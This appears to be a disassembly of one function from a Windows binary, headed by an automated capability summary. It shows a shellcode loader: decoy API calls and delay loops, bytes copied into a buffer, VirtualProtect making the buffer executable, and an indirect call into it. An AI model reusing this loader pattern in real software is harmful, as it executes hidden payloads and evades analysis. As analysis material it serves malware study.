Function at 0x402eca
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk size
Get file attributes
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1020
call fcn.00409a10
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp edi, 0xfa62c8f
jge 0x402f0d
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidthFloatA]
push esi
call dword [sym.imp.GDI32.dll_GetBkMode]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
cmp edi, 0x207142
jg 0x402f1e
inc edi
cmp edi, 0x67d12
jl 0x402ede
cmp dword [0x249598c], 0x93
mov edi, dword [sym.imp.USER32.dll_LoadMenuA]
jne 0x402fd9
push esi
push esi
call dword [sym.imp.USER32.dll_GetWindowLongW]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CreateDCW]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuStringA]
push esi
push esi
call edi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_InsertMenuItemW]
push esi
lea eax, [ebp - 0x820]
push eax
push esi
push 0x402a78
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CreateDCA]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push esi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
call fcn.00403f0b
push esi
call fcn.00403998
push esi
call fcn.00403bc8
push esi
call fcn.00403bde
push esi
push esi
call fcn.00403981
push esi
push esi
call fcn.00403d56
push esi
call fcn.00404076
push esi
call fcn.00403d0c
add esp, 0x28
add dword [0x249598c], 0x1134b
push dword [0x249598c]
mov eax, dword [0x46e6dc]
push esi
mov dword [0x24967c8], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x249598c]
mov dword [0x249541c], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, 0x1692e
push esi
push esi
call edi
push esi
call dword [sym.imp.USER32.dll_CharUpperA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec ebx
jne 0x403017
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor edi, edi
cmp dword [0x249598c], esi
jbe 0x4030aa
mov eax, dword [0x24967c8]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x249541c]
mov byte [ecx + edi], al
cmp dword [0x249598c], 0x490
jne 0x4030a1
push esi
push esi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push esi
push esi
call dword [sym.imp.GDI32.dll_GetTextMetricsA]
push esi
call dword [sym.imp.GDI32.dll_DeleteMetaFile]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push esi
call ebx
lea eax, [ebp - 0xc]
push eax
push esi
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
inc edi
cmp edi, dword [0x249598c]
jb 0x40303b
xor edi, edi
mov eax, dword [0x249598c]
add eax, edi
cmp eax, 0x8d
jne 0x4030e8
push esi
lea eax, [ebp - 0x420]
push eax
push esi
push 0x402ab4
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push esi
call dword [sym.imp.USER32.dll_GetMenu]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenEventW]
inc edi
cmp edi, 0x38681
jl 0x4030ac
call fcn.00402de9
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x61
jne 0x403117
mov dword [ebp - 4], esi
add dword [ebp - 4], 0
mov eax, dword [ebp - 4]
add dword [0x249541c], eax
inc edi
cmp edi, 0x674bd
jl 0x4030f8
push 0x7b
pop edi
cmp dword [0x249598c], 0x86
jne 0x40316f
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push esi
lea eax, [ebp - 0x420]
push eax
push 0x402ab8
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnWire]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
push esi
lea eax, [ebp - 0x1020]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
cmp dword [0x249598c], 0xf
jne 0x403183
push esi
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
dec edi
jne 0x403123
push 0x402adc
call ebx
call dword [0x249541c]
pop edi
pop esi
pop ebx
leave
ret